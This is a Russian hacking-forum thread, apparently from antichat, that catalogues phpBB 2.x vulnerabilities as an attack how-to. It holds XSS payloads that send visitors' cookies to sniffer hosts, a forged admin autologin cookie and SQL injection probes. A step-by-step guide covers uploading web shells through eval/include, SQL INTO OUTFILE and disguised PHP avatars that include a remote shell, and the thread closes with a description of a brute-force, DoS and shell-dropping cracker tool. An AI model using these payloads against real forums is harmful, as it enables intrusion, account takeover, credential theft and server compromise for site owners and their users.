Рассмотрим каждую версию форума по порядку и проанализируем. Будем рассматривать с версии 2.0.4, т.к. версии младше, обсуждать нет смысла. phpBB <= 2.0.4 Цель: просмотр содержимого файлов на сервере Описание: Была выпущена в 2002. Данная версия почти не присутствует в сети. Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP. Exploit: http://milw0rm.com/id.php?id=47 phpBB <= 2.0.5 Цель: просмотр hash'a пароля Описание: Выпущена в 2002. Также редкая версия. Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в при обработке $topic_id. Возможно добавить 2 запрос, тем самым захватить хэш. Exploit: http://milw0rm.com/id.php?id=44 При запуске $remote = shift || 'localhost'; - изменяем на нужный например 255.255.255.255, $uid = shift || 2; - ID нужного нам пользователя. В форумах phpBB ID администратора по умолчанию "2". Затем пишем "perl exp.pl" Video: - phpBB <= 2.0.6 Цель: просмотр hash'a пароля Описание: Выпущена в 2002. Также редкая версия. Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в модуле search.php. Exploit: http://milw0rm.com/id.php?id=137 Запускаем "perl exp.pl <server> <folder> <user_id> <search_id>" Где <server> - ip сервера (ip сервера можно узнать так Пуск->Выполнить-> набрать cmd, затем в появивешмся окне набрать "ping test.com"), <folder> - папка где находится сам форум (например если у нас http://123.123.123.123/forum/index.php, вместо <folder> пишем forum), <user_id> <search_id> - ID пользователя. Video: http://video.antichat.net/videos/kez/phpbb_206_sql2.rar phpBB <= 2.0.8 Цель: подмена ip Описание: так себе Описание уязвимости: позволяет подменить ip отправителя на произвольный Exploit: http://securityvulns.ru/Gdocument110.html phpBB 2.0.10 Пропустим версии с 7 по 9, т.к. в них присутствует те же уязвимости, что и в phpBB 2.0.10. Цель: (1) Выполение произвольных команд. Описание: Была выпущена так же в 2002. Данная версия встречается намного чаще, чем младшие. Но реже чем старшие =). Был произведён дефейс сайта phpbb.com, с помощью найденной уязвимости в этой версии. Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php. Exploit: http://milw0rm.com/id.php?id=647 Запускать "perl exp.pl [*URL] [DIR] [NUM] [CMD]" Где [*URL] - урл сайта (например http://www.test.com), [DIR] - директория в которой находится форум(например /forum/ или /forum), [NUM] - номер топика (обязательно существующего), [CMD] - команда которую следует выполнить (например ls -la, справочник всех команд *nix http://forum.antichat.ru/threadnav7345-1-10.html) video: - Цель: (2) Попадание в админку обходя ограничения. Описание: - Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP. Exploit: В архиве с видео =) Video: http://video.antichat.net/videos/wizi/vhackbbshwizi.rar phpBB <= 2.0.11 Цель: Выполение произвольных команд Описание: Была выпущена так же в 2002. Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php - горе-кодеры плохо запатчили предыдущую багу - фильтрация ковычки обходится как %2527 Exploit: http://www.site.ru/forum/viewtopic.php?t=2726&highlight=%2527.$poster=%60$var%60.%2527&var=id phpBB <= 2.0.12 Цель: Вход на форум аккаунтом администратора. Описание: - Описание уязвимости: Для начала нам следует зарегаться на форуме. Затем, войти под своим аккаунтом и если стоит галка "Автоматический вход",то убрать её. Нам нужно отредактировать кукисы (посоветую делать это в опере Tools->Advanced->Cookies), вместо X - наш ID , а меняем на 2 - как уже говорилось выше, ID админа Exploit: "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D" Video: - phpBB <= 2.0.13 Цель: просмотр hash'a пароля, любого пользователя Описание: - Описание уязвимости: Уязвимость присутствует в модуле downloads.php. Есть возможность SQL инъекции Exploit: http://milw0rm.com/id.php?id=907 Запускать "perl exp.pl <site> <dir> <id>" Где <site> URL сайта <dir> - директория <id> - нужный нам пользователь Video: - phpBB <= 2.0.15 Цель: получение Имя,Логина, Пароля от БД. Описание: - Описание уязвимости: Уязвимость пристутствует в модуле viewtopic.php. Exploit: http://milw0rm.com/id.php?id=1080 Запускать "perl exp.pl <server> <dir> <id> \r\n" Где <server> - ip сервера, <dir> - директория в которой находится форум <id> номер существующего топика. Video: - phpBB <= 2.0.16 Цель: получение hash'a пароля пользователя Описание: - Описание уязвимости: В данной версии присутствует XSS (Cross Site Scripting более подробно про XSS можно почитать тут http://antichat.ru/txt/xssoverview/ или http://ha.ckers.org/xss.html), которая получить кукисы. Они высылаются на сниффер, логи которого можно посмотреть здесь http://antichat.ru/sniff/log.php. Exploit: Code: [*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] Video: - phpBB <= 2.0.16 Цель: 2.0.16 Installation Path Disclosure Описание: - Описание уязвимости: раскрытие данных Exploit: http://someshit.net/showthread.php?t=71 Video: - phpBB <= 2.0.17 Цель: выполнение произвольных команд на сервере(php-inj) Описание: - Описание уязвимости: В данной версии присутствует уязвимость в модуле profile.php. Exploit: http://rst.void.ru/download/r57phpbb2017.txt Запускать "perl exp.pl <URL> <cmd>" Где <URL> - ссылка до форума например http://site.com/phpBB/, <cmd> - нужная команда (о командах читаем тут http://forum.antichat.ru/threadnav7345-1-10.html). Video: - phpbb <= 2.0.18 Цель: получение сессии админа Описание: XSS в собщении Описание уязвимости: требует включеных BB-тэгов или HTML на форуме Exploit: Code: <B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" X="<B "> H A L L O </B> Code: <B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='font-size:0; X="<B ">'</B> PHP: [url]http://www.[url=http://wj.com/style=display:none;background:url(javascript:alert()) ]wj[/url][/url] phpBB <= 2.0.18 Цель: получение hash'a пароля пользователя Описание: найдена WJ (White Jordan =) Описание уязвимости: В данной версии присутствует XSS. Exploit: Code: [UR*L]http://www.[U*RL=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/*URL][/*URL] Что бы воспользоваться сплойтом убираем плюсы между символами & и #(например было "&+#40" стало -"(") Video: - phpBB <= 2.0.18 Цель: подмена ника Описание: найдена Dgoing Описание уязвимости: подмена ника, обход бана Exploit: http://forum.antichat.ru/thread19817.html Video: - phpbb <= 2.0.19 Цель: получение сессии админа Описание: XSS в собщении Описание уязвимости: требует включеных BB-тэгов или HTML на форуме Exploit: Code: <B C='>' onmouseover='alert(document.location="http://antichat.ru"+document.cookie)' X='<B '> antichat.ru </B> PHP: [url]http://www.[email=http://wj.com/style=display:none;background:url(javascript:alert()) ]wj[/url][/email] phpbb <= 2.0.19 Цель: получение пароля админа Описание: phpBB Style Changer\Viewer MOD SQL injection Exploit Описание уязвимости: sql-inj уязвимость в index.php?s=[SQL] позволяет выполнить произвольный запрос в бд Exploit: http://milw0rm.com/exploits/1469 phpbb = 2.0.19 Цель: DoS форума Описание: - Описание уязвимости: Уязвимость позволяет забанить всех пользователей на форуме Exploit: http://forum.comp-info.ru/showthread.php?threadid=238 phpbb <= 2.0.19 Цель: DoS форума Описание: Neo Security Team (автор - HaCkZaTaN) Описание уязвимости: Сплоит регистрирует неограниченное количество ников или делает через поиск запросы, которые база не может воспринять. Сплойт бессилен там, где надо вводить код (визуальное подтверждение) при регистрации Exploit: http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt phpbb <= 2.0.19 Цель: получение пароля админа Описание: Уязвимость позволяет удаленному пользователю произвести брут-форс атаку. Описание уязвимости: Уязвимость существует из-за того, что функция "gen_rand_string()" генерирует угадываемые случайные номера. Удаленный пользователь может изменить пароль к целевой учетной записи с помощью функционала восстановления пароля путем отправки большого количества запросов для подбора Validation ID (не более 1000000 запросов). Для удачной эксплуатации уязвимости злоумышленнику необходимо знать e-mail целевой учетной записи. Exploit: http://milw0rm.com/exploits/1382 phpbb <= 2.0.20 Цель: DoS форума Описание: банит все аккаунты Описание уязвимости: по умолчанию в форуме включен бан аккаунта при более 5 неудачных попыток входа Exploit: phpBB 2.0.20 Disable Admin or User Account Video: - phpBB <= 2.0.21 Цель: компрометация сервера Описание: obviously you have no output, but this makes phpbb to be like a http proxy Описание уязвимости: а в переводе - phpbb можно использовать как прокси, посылая запрос в удаленном урле аватара; также форум не проверяет контент загружаемых аватарах в EXIF тэгах, туда мона поместить PHP-код и потом какнить приинклудить. Вот. Exploit: http://www.securityfocus.com/archive/1/433858 phpBB <= 2.0.21 Цель: получение сессии админа Описание: XSS нападение и CSRF атака Описание уязвимости: 1)Уязвимость существует из-за того, что приложение не проверяет валидность HTTP запроса при отправке сообщений. 2) Уязвимость существует из-за недостаточной обработки входных данных в поле "Message body" в сценарии privmsg.php. Exploit: http://www.securitylab.ru/vulnerability/281494.php [Shell, Version, Full Path] Рассмотренно подробно ниже. [Авторы, соавторы] NaX[no]rt, qBiN, модераторы раздела "Форумы" ************************ Уважаемые форумчане! Просим в этой теме писать по существу! ************************
Как узнать версию phpBB и т.п. Об этом постоянно спрашивают, создают ненужные новые темы, пользуются неправильными методами вроде CHANGELOG.html. Непонятно, откуда такой интерес к определениям версии и что знание версии даёт, но от нечего делать создал эту темку. Сюда можно будет посылать тех, кто опять надумает это спросить. Способов вообще несколько для каждой версии. Но тут хватит написать и по одному. (Кстати можно забабахать целый научный труд по определению версий и слабостей phpbb только через просмотр html некоторых страниц форума. )) ======================================== 1)CHANGELOG.html Во-первых часто советуют узнать версию так: http://сайт.com/форум/docs/CHANGELOG.html Но так никакой версии не узнать. Этот документ (если он есть) показывает только какая версия была, когда форум устанавливали. При обновлениях версии этот CHANGELOG остаётся старым. 2) phpBB <= 2.0.10 http://site.ru/forum/index.php?category_rows=aaaa http://site.ru/forum/faq.php?faq=aaaa http://site.ru/forum/profile.php?mode=viewprofile&u=2&ranksrow=aaaa 3) Search - phpbb=2.0.20 А версии можно определить например так: 2.0.20 Заходим в поиск, вводим любой запрос, жмём подряд несколько раз "поиск. Если поиск заблокировался на несколько секунд (по умолчанию на 15) и сказал вам об этом, то это она и есть. Иначе версия ниже. 4) phpBB <= 2.0.18 Если после проверки на 2.0.20 поиск продолжает работать, обращаемся по адресу : http://сайт.com/форум/admin/admin_disallow.php?setmodules=00 и смотрим результат. Форум написал: Fatal error: Call to undefined function…, значит это версия НИЖЕ 2.0.19 В остальных случаях именно она и есть. 5) XSS-test phpBB <= 2.0.18 Code: <B C=">" onmouseover="alert('XSS<= 2.0.18')" X="<B "> H E L O </B> phpBB <= 2.0.19 Code: <B C='>' onmouseover='alert("XSS<= 2.0.19")' X='<B '> H E L O </B> Конечно, можно и попроще определить версию. Но для новичков этот путь самое то )) ps Тут были ещё темы по sql-инъекциям, но тут надо знать префикс, а не версию. Если админ не лох, префиксы наверняка сменены. Самые частые префиксы (если админ лох) phpbb_ и phpbb2_ ======================================== pps По быстрому определяем, подумал ли админ о защите (версия не важно). Идём: http://сайт.com/форум/admin/admin (второй /admin необязательно). Если в результате форумная страница или ошибка с переадресацией на хостинг, то он ничего особенного на этот счёт не подумал. Если страница со всякими красными предупреждениями, скорее всего стоит мод CTracker или подобные модификации, которые докладывают об атаках (как они их видят) со всеми подробностями. Если открылось новое окно для авторизации - стоит защита админки через .htaccess Кстати! Всё что тут написано может изменяться в зависимости от версии и модификаций и отдельных заплаток. Приведены только наиболее вероятные варианты. А ещё вот НОВОСТЬ (если интересно) Разработчики phpBB обещают 15 мая этого (2006) года выпустить beta-версию форума нового поколения - phpBB 3.0.х (Olympus). Этот форум в действии можно заценить здесь А скачать промежуточную версию (2.1.x) можно тут Cкрипт распознавания форума by genom
Все способы заливки шелла в phpbb форуме Всем привет, это снова k1b0rg и он вам расскажет, как же заливать шеллы в "популярном" форуме phpbb. *****На заметку: Обычно папка cache доступна для записи - в неё удобно грузить шелл. Пример: http://www.site.com/phpBB/cache/shell.php Всего существует 7 публичных способов залития шелла. Разберем каждый из них по порядку. 1) через уязвимость highlight. Бага очень старая, но все же встречаеться в инете. Суть баги читайте в инете, было выложено. Как юзать: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=phpinfo();&highlight='.eval($_GET[cmd]).' смотрим чо получилось, если них.., то значит бага пропатчена, если показался phpinfo, дергаем из него, ось сервака и сейф мод, и в зависимости от них, ковыряемся на серваке. Вообще мало-мальски шарящие перчики любят инклудить полноценный веб шелл, например 2.0.10: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%27.include($_GET[cmd]).%27 или так 2.0.11: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%2527.include($_GET[cmd]).%2527 заливаем шелл, трахаем админа... Exploit: http://milw0rm.com/exploits/1076 http://milw0rm.com/exploits/1113 Кароче сами разберетесь..не мне вас учить....едем дальше. 2) Через стили. (Нужны админские права). Суть баги читайте в инете, было выложено. как юзать: Идем в админскую панель, жмакаем ссылку в Стилях "Создать". Правим правый фрейм.(Я предпочитаю править прям в опере, жмем исходный код, правим страницу, и жмем обновить из кеша.) style_name делаем произвольным. А template_name удаляем дефолтный(subSilver) и вставляем свой Code: a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/ Мы создали стиль, теперь надо его экспортировать в форум. Жмем ссылку "Экспорт", там будет тока текущий стиль, правим сурс, меняем его на Code: a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/ В папке /tmp/ появиться файл theme_info.cfg. Заходя по ссылке http://localhost/phpbb13/admin/admin_styles.php?mode=addnew&sid=(тут_ваша_сессия)&&install_to=../../../../../../../tmp/&kiborg=phpinfo(); нам покажеться phpinfo(); Exploit: http://milw0rm.com/exploits/1247 3) Бага в профайле signature_bbcode_uid (Нужен юзер, с любыми правами). Как юзать: Значит регаемся на форуме, заходим в профайл. Правим страницу.. Code: <form action="profile.php" enctype="multipart/form-data" method="post"> меняем на Code: <form action="profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00" enctype="multipart/form-data" method="post"> В подпись(Signature) суем такую бяку Code: kibi:`ls` Вообщем, сначала любое слово, потом двоеточие ,а после него php код. Вставляем, сохраняем, ползем обратно в профайл, и нежно издыхаем, от результатов. Бага настока редкая, что просто охренеть. Для нее условия # 1. PHP 5 < 5.0.5 # 2. register_globals=On # 3. magic_quotes off ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет. Exploit: http://milw0rm.com/exploits/1388 4) После того как "залатали" багу (3), обнаружилось, что залатали, вывод в профайл, а сама бага живая. (Нужны админские права). Video: http://video.antichat.ru/file178.html Эта бага присутсвует, почти на всех форумах, ее редко где залатали. Как юзать: Создаем текстовый файл 1.sql суем в него код Code: UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2; ну вместо 2 ставим свой id Заходим в админку, жмем востановление базы данных, выбираем файл 1.sql, и со звуком хлопец-хлопца-хоп-ца-ца заходим в профайл а наблюдаем phpinfo() Напоминаю, после ":" идет любой php код. Exploit: http://milw0rm.com/exploits/1661 5) Загрузка через sql. (Нужны админские права + mysql должна иметь права file_priv='Y'(тоесть фактически root) для OUTFILE) Редкий случай, но встречаеться чаще баги (3). как юзать: Создаем файл 1.sql суем в него код Code: SELECT '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/shell.php'; В админке востанавливаем через бд этот файл. Тут нужно знать полный путь. Как его узнавать, ищите в инете. Exploit: руками потыкаете 6) Загрузка аваторы с php кодом, а затем инклюд.(Нужны права админа) Бага тоже очень распространненая, тока почему то ее, мало юзают. Создаем файл kiborg.txt, пишем в него Code: <? $file= fopen('shell.php', 'w'); fwrite($file, '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>'); fclose($file); ?> Меняем имя файла на kiborg.gif и загружаем его на форум. Заходим в профайл убеждаемся что аватора загрузилась и смотрим ее имя с путем, будет примерно следующее /images/avatars/49624519384cd7deb.gif Создаем файл 1.sql с содержимым Code: UPDATE phpbb_config SET config_value=CONCAT('english/../../images/avatars/49624519384cd7deb.gif',CHAR(0)) where config_name='default_lang'; Ну если с мозгами все в порядке, то поймете что здесь накалякано. Востанавливаем через бд. Ползем по ссылке http://localhost/phpbb13/faq.php И если вы все сделали правильно, то по адрессу http://localhost/phpbb13/shell.php должен быть ваш шелл. Exploit: http://milw0rm.com/exploits/1780 7) Подмена аваторного пути. Багу нашол ShanKaR. (Нужны права админа) Шанкар выпустил свой сплойт, и описал багу. Судя по месагам в инете, народ так не допер, что за бага и как ее едят. Объясняю... Как идет загрузка аваторы: Code: @copy($tmp_filename, './' . $board_config['avatar_path'] . "/$new_filename"); @unlink($tmp_filename); Он грузит из $tmp_filename это типо временное название аваторы, пока ее грузили на сервак. $board_config['avatar_path'] - это аваторный путь, по дефолту храниться в базе $new_filename - сгенерированное новое имя аваторы что-то типо 49624519384cd7deb.gif. Суть баги найденной Шанкаром, в том, что мы аватору грузим не в файл который сгенерирует на сам форум, а в произвольный файл. Его мы задаем в $board_config['avatar_path'] (например images/avatars/shell.php). А затем нам, надо отрезать $new_filename, это можно сделать как предложил автор баги, добавив %00, но так будет не всегда работать. Я предлагаю, сделать через БД, CHAR(0). Вы скажете, слышь аффтар, не гитарь, нах нам, даже в php файле, сурс картинки. А дело в том, что в phpbb можно загружать аватору с php кодом. смотри багу (6). Как юзать багу: Заходим в профайл. Смотрим, чтобы аватору можно было выбрать с компа. Пока оставляем это окно, открываем новое. Заходим в админку. Создаем файл 1.sql с содержимым Code: UPDATE phpbb_config SET config_value=CONCAT('images/avatars/shell.php',CHAR(0)) where config_name='avatar_path'; Востанавливаем через бд. Возвращаемся к окну с профайлом, выбираем аватору с php кодом, и загружаем. Если все сделали правильно то по адрессу http://localhost/phpbb3/images/avatars/shell.php будет ваш шелл. БАГА НИГДЕ НЕ ЗАЛАТАНА. Заплаток нету. Exploit: http://milw0rm.com/exploits/2348 или Вот мой сплойт, ему нужно три параметра perl sploit.pl http://localhost/phpbb/ 37d2ed379a27ec6ede5978523b792a39 images/avatars/shell.php ======================================== Статья принадлежит мне, т.е. k1b0rg (icq: 768620) любое копирование без моего согласия, чревато для вашего чрева.
phpBB 3 XSS phpBB 3 Цель: получение Cookies пользователя при помощи XSS Описание уязвимости: http://forum.antichat.ru/thread25041.html
1) Хочу понять, как же взламываются форумы phpbb. Их можно взломать 5 способами: 1) Через уязвимость highlight. Дает исполнение команд на сервере. Подробно о баге можно почитать в разделе "Заливка шелла в phpbb" 2) Получить доступ к аккаунту администратора. 3) Через уязвимость в профайле signature_bbcode_uid Подробно о баге можно почитать в разделе "Заливка шелла в phpbb" 4) Взлом через моды. 5) Взлом через sql инъекцию. 2) Как получить аккаунт администратора на форуме? 1) Угадать, украсть, спросить. 2) XSS - позволяет украсть куки администратора и под ним зайти на форум. В версиях >2.0.19 нельзя войти в админку незная пароля. xss для форума phpbb. Почти все найдены White Jordan. [c*olor*=#EFE*FEF]w*ww.ut[url=w**ww.s=''style='font-s...t.ru/c*gi-bin/s.jpg*?"docume*nt.co*okie;) ]wj[/UR*L] phpbb 2.0.17 Рушиться структура, код надо доработать [im*g]http://ww*w.phpbb.com/xx[em*ail]xx@*xx.com[/ema*il]images/p*hplogo.gif[/i*mg] [*url]ww*w.uts*assa[/u*rl]' [*url=http://www.%*5burl=http://xx.com/style=display:no*ne;backgrou*nd#58;url(javascript:alert()&+#41; %5*dxx*]http://www.<a href="http://xx.com/style=displa...) " target="_*blank*">xx[/url] пихаем все эти коды в сообщение, на сниффере ловим куки, подставляем их, и мы админы. 3) Получение админского аккаунта через багу в куках. phpbbmysql_data:a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D И мы становимся админом (если форум не пропатчен). 3) Как происходит взлом? 1) Просмотр версии форума. Она определяется заходом по ссылке http://site.ru/forum/docs/CHANGELOG.html Смотрим какая там последняя версия и прибавляем единицу. 2) Проверку на уязвимость форума к багам highlight, админским кукам, signature_bbcode_uid. Если сработало, иди в раздел "Заливка шелла в phpbb". Если не сработало. 3) Проверяем форум на sql уязвимости. Делаем запросы: http://site.ru/forum/viewtopic.php?sid=1&topic_id=-1' http://site.ru/forum/search.php?search_id=-1' http://site.ru/forum/search.php?search_results=-1' Если сработало, то добываем хеш админа, расшифровываем. 4) Если ничего не помогло, теперь надо проверить форум на дырки в модах. запросы: http://site.ru/forum/language/lang_english/lang_activity.php include http://site.ru/forum/admin/addentry.php include http://site.ru/forum/m2f/m2f_phpbb204.php include http://site.ru/forum/admin/admin_topic_action_logging.php include http://site.ru/forum/cal_view_month.php sql http://site.ru/forum/auction_offer_view.php sql http://site.ru/forum/downloads.php sql http://site.ru/forum/alltopics.php sql http://site.ru/forum/admin/admin_cash.php include http://site.ru/forum/toplist.php sql http://site.ru/forum/index.php?s=-1' sql http://site.ru/forum/index.php?style=-1' sql Запросы для получение привилегий найдете на секьюрити порталах. 5) Взлом через xss. 4) Как узнать серверный путь форума? http://site.ru/forum/admin/admin_disallow.php?setmodules=00 до 2.0.19 http://site.ru/forum/profile.php?mode[]= http://site.ru/forum/posting.php?mode[]= http://site.ru/forum/groupcp.php?mode[]= http://site.ru/forum/modcp.php?mode[]= http://site.ru/forum/privmsg.php?folder[]= http://site.ru/forum/db/oracle.php http://site.ru/forum/memberlist.php?mode[]=cx + дает возможно узнать префикс таблиц базы данных Пути для форумов <2.0.10 http://site.ru/forum/index.php?category_rows=aaaa http://site.ru/forum/faq.php?faq=aaaa http://site.ru/forum/profile.php?mode=viewprofile&u=2&ranksrow=aaaa 5) Как узнать префикс таблиц базы данных? http://site.ru/forum/memberlist.php?mode[]=cx http://site.ru/forum/modcp.php?t=-456 подробно о каждой баге можете почитать здесь http://forum.antichat.ru/thread24488.html Про залитие шелла в phpbb можете почитать здесь http://forum.antichat.ru/thread32782.html
Статьи, имеющие отношение к phpbb Различные статьи, имеющие отношение к phpbb: Авторизация с cookies - взлом и защита. (by PoizOn) XSS, SQL-inj, PHP-inj и др. на примере phpBB Поиск PHP уязвимостей на примере phpBB Проверь свой phpbb форум на безопасность 2 - скрипт ---------------------------------------------------------- Все сообщения не содержащие информационной ценности или не имеющие прямого отношения к теме удалены. ---------------------------------------------------------- Ещё раз напомню, что в этой теме обзор уязвимостей форума, сообщения не имеющие информационной ценности ("Немогли бы взглянуть на этот форум", "Подскажите версию" и т.д.) будут удаляться.
Blind SQL-Injection в phpBB modified v1.8 by Przemo Программа: phpBB modified v1.8 by Przemo, возможно более ранние версии. Описание: Рекомендуется к прочтению статья Elekt http://forum.antichat.ru/thread35207.html Уязвимость позволяет удаленному пользователю выполнять произвольные SQL команды на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "user_agent" (при определенных условиях, приведенных в примерах) в сценарии /includes/functions_post.php. Удаленный пользователь может с помощью специально сформированного запроса выполнять произвольные SQL команды на целевой системе жертвы в контексте безопасности уязвимого сайта. Для успешной эксплуатации уязвимости целевой пользователь должен быть залогинен. Examples: URL производителя: http://www.przemo.org/phpBB2/ превед: ice1k .) (c) p-range :: AltST
k1b0rg phpbb cracker (KaPeC) Описание скрипта k1b0rg phpbb cracker v0.5 akka (KaPeC) Данный скрипт имеет 3 режима работы, переключаемые опцией (-v) 1 Скрипт для работы с непосредственно с самим форумом(сканер ошибок, админка и т.д.). Включен по дефолту. 2 Грабер данные из профайла людей(ник, email). Кол-во задается параметром (-e) или определяется общим числом юзеров на форуме. 3 Брутер форума. Умеет брутить по известному нику или паролю, а также может проверять на валидность аккаунты из файла. 4 Легкий ddos. 5 Автозабаниватель Скрипт для работы с форумом (-v1), имеет 4 режима, переключаемые опцией (-g): 1 - Дефолтный, показывает все пароли юзеров на всех багах. 2 - Покаывает все хеши юзеров только на одной баге, другие баги показывают, но пароли не вытаскивает. 3 - В админке заливает шеллы всеми способами. 4 - В админке заливает шеллы тока одним способом(при залитии одного, останавливается). Рассмотрим подробней работу режима (-v1). Скрипт имеет встроенный легкий брутер(-b1) на 23 распространнех пароля, вдобавок к этому он еще вытягивает ники заданных юзеров и брутит ими. Заложено 6 форумных эксплуатационных уязвимостей и 4 не эксплуатационных узявимости. Имеется поддержка проверки на баги, модов форума (-m1). Всего заложено 45 уязвимостей. Теперь пройдется по опциям данного скрипта. -v - выбор режима всего скрипта (сканер, грабер, брутер, ддосер,автозабаниватель). По умолчанию включен сканер (-v1). -u - Url заданного сайта. (только ввиде http://site.ru/forum/). Слеш обязательно должен быть в конце. -l - логин юзера. -p - пароль юзера. -d - При доступе к админке, делает дамп базы данных. По умолчанию выключена (-d0). -f - Файл для работы скрипта. В зависимости от режимах работы, скрипт будет вытаскивать из этого файла, необходимые данные. -s - название LOG файла, куда будут идти записи. По умолчанию 'log.txt'. Требует включения опции (-L1) -L - Перенаправить весь вывод в log файл(-s). По умолчанию выключен. -r - Remote shell. По умолчанию здесь находится адресс шелла. -R - Remote eval. По умолчанию здесь находится адресс скрипта, выполняющего php код. $content - Задается в теле скрипта. Содержимое этой переменной будет залито на аттакуемый сайт. По умолчанию загружается инклуд remote shell. my $content='<? @include("'.$remote_site.'"); ?>'; -b1 - брутер форума. -m1 - Проверка на баги модов форума. -С - проверка форума на валидность. По умолчанию включена(-С1). -S - залитие шелла. По умолчанию включена (-S1). -c - очистка сессии. Скрипт зачищает все следы пребывания на этом форуме включая зачистку базы данных по последниим действиям. Удаляются сессии и промежуточные выполнения php кода. -a - При доступе к админке создает нового админа. Ник генерирует сам, пароль находится в опции (-N). Пока не работает -N - Новый пароль. Ставится при создании нового админа(-a1). Пока не работает -t - Debug скрипта. Подробно выводятся все действия выполняемые скриптом. Нужен для отладки. По умолчанию включено (-t1). -W - Включение показа всех серверных путей форума. По умолчанию выключено (-W0) и скрипт показывает тока один путь. -V - Задание версии скрипта. Если параметр опущен, то скрипт сам определяет версию форума. # Недоделано, привязка к версиям. -g - Режим работы скрипта (-v0). 1 - Дефолтный, показывает все пароли юзеров на всех багах. 2 - Покаывает все хеши юзеров только на одной баге, другие баги показывают, но пароли не вытаскивает. 3 - В админке заливает шеллы всеми способами. По умолчанию включен (-g1). -T - temeout для сокетов. По умолчанию 30 (-T30). -U - User Agent для сокетов. По умолчанию Opera/9.01 (Windows NT 5.1; U; ru). -P - Прокси. В ввиде -P127.0.0.1:81 -e - Кол-во юзеров на форуме. Если опция не задана, то определяет сам. -i - Задание юзеров посредством указания ихнего id. Если параметр не задан, то ищет админов на форуме. Если параметр задан как (-i2,3,4) то эксплуатирует юзеров с id=2,3,4 (по очереди). Если параметр задан как (-ir) то берет первого юзера (админ или id=2). Если параметр не задан, и определить не удается админов, тогда ставится значение 1(-i2). Скрипт обрабатывает все поступающие данные, т.е. не будет что если какую то переменную неправильно определил и идет с ней дальше работать. Скрипт просто выдаст на экран уведомление, что переменная неверная и перескочит этот пункт. В скрипте встроено определение Ника по id. Если не удается через профайл, то определяется через список активных юзеров или через главную страницу форума. Версия определяется двумя способами (через надпись внизу или по файлам). #На индексе не доделано. Скрипт при заходе в админку проверит phpinfo и если найдет то выдаст вам информацию о сейф моде, операционной системе и о серверном пути. Любой юзер в скрипте проходит проверку статуса, и в зависимости от его статуса, скрипт может разделять одновременно всех юзеров. Скрипт при работе с админкой поддерживает обход basic authorization вводя туда заданные внешние -l и -p или внутрении $admin_user и $admin_pass. Скрипт в зависимости от версии форума, сам реагирует на способы обращения с форумом, на баги и на работе с базой данных. Для залитии шеллов в зависимости от версии форума используется около 5 способов залития. Скрипт является серьезным подходом по выявлению уязвимостей форума. На сегодняшний день, он является лучшим сканером по безопасности форума phpbb. Примеры использования скрипта: phpbb.pl -v1 -uhttp://site.ru/phpbb/ -b1 -m1 - Сканер багов, легкий брут, проверка на баги модов форума. phpbb.pl -v2 -uhttp://site.ru/phpbb/ -e125 - Сграбить инфу о первых 125 пользователях, если кол-во не заданы, скрипт возьмет всех пользователей форума. phpbb.pl -v3 -uhttp://site.ru/phpbb/ -ladmin -fpass.txt - Брутит аккаунт юзера admin по словарному файлу pass.txt phpbb.pl -v3 -uhttp://site.ru/phpbb/ -padmin -fuser.txt - Подбирает аккаунты из файла на один заданый пароль. phpbb.pl -v3 -uhttp://site.ru/phpbb/ -fuser.txtass.txt - Перекрестный брут. На каждый логин из файла user.txt, брутится пассы из файла pass.txt phpbb.pl -v3 -uhttp://site.ru/phpbb/ -faccount.txt - Чекает файл аакаунтов вида: http://site.ru/forum/:userass phpbb.pl -v4 -uhttp://site.ru/phpbb/ - Легкий ддос форума, без многопоточности. phpbb.pl -v5 -uhttp://site.ru/phpbb/ - Автозабаниватель. Если не указан юзер, то скрипт забанит всех юзеров. Работает тока с 2.0.19 версии.
